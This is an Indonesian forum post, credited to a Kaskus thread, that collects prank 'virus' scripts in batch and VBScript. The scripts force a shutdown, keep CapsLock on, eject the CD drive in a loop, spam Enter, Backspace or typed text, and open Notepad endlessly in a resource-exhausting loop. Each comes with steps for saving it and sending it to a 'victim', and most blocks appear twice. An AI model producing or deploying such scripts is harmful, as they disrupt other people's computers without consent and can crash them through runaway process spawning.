syntax ini dibuat dalam notepad :
@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s
Simpan dengan nama file : terserah_agan.BAT ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan,
maka komputernya otomatis FORCED SHUTDOWN
@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s
Simpan dengan nama file : terserah_agan.BAT ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan,
maka komputernya otomatis FORCED SHUTDOWN
syntax ini dibuat dalam notepad :
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka tombol CAPSLOCK kibornya akan terus menyala
(bila agan matikan maka tombolnya otomatis nyala lagi)
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka tombol CAPSLOCK kibornya akan terus menyala
(bila agan matikan maka tombolnya otomatis nyala lagi)
syntax ini dibuat dalam notepad :
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka CD Drive korban akan pop out (bhsa indonesianya apa ya ??) terus menerus ,,,
(bila agan matikan maka tombolnya otomatis nyala lagi)
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka CD Drive korban akan pop out (bhsa indonesianya apa ya ??) terus menerus ,,,
(bila agan matikan maka tombolnya otomatis nyala lagi)
syntax ini dibuat dalam notepad :
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka CD Drive korban akan pop out (bhsa indonesianya apa ya ??) terus menerus ,,,
(bila agan matikan maka tombolnya otomatis nyala lagi)
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka CD Drive korban akan pop out (bhsa indonesianya apa ya ??) terus menerus ,,,
(bila agan matikan maka tombolnya otomatis nyala lagi)
syntax ini dibuat dalam notepad :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka tombol ENTER korban akan nyala terus menerus
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka tombol ENTER korban akan nyala terus menerus
syntax ini dibuat dalam notepad :
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah otomatis membuka notepad korban dan akan muncul tulisan "Hello, how are you? I am good thanks" secara SLOW MOTION
kalimat "Hello, how are you? I am good thanks" ,, bisa agan rubah sesuai selera, tinggal ubah saja frase kata dalam tanda kutip di syntax diatas
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah otomatis membuka notepad korban dan akan muncul tulisan "Hello, how are you? I am good thanks" secara SLOW MOTION
kalimat "Hello, how are you? I am good thanks" ,, bisa agan rubah sesuai selera, tinggal ubah saja frase kata dalam tanda kutip di syntax diatas
syntax ini dibuat dalam notepad :
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah mirip dengan cara ke 4, syntax yang ini akan menekan tombol BACKSPACE korban terus menerus
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah mirip dengan cara ke 4, syntax yang ini akan menekan tombol BACKSPACE korban terus menerus
syntax ini dibuat dalam notepad :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!."
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah, kibord korban akan otomatis menuliskan kalimat "Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!."
secara terus menerus, dalam format pengetikan apapun
"Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!."
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!."
loop
Simpan dengan nama file : terserah_agan.VBS ,, type file : All File dan kirimkan
efeknya adalah, kibord korban akan otomatis menuliskan kalimat "Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!."
secara terus menerus, dalam format pengetikan apapun
"Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!."
syntax ini dibuat dalam notepad :
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Simpan dengan nama file : terserah_agan.BAT ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka komputer korban akan menghidupkan perintah notepad.exe terus menerus
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Simpan dengan nama file : terserah_agan.BAT ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka komputer korban akan menghidupkan perintah notepad.exe terus menerus
sumber : http://www.kaskus.us/showthread.php?t=6575371
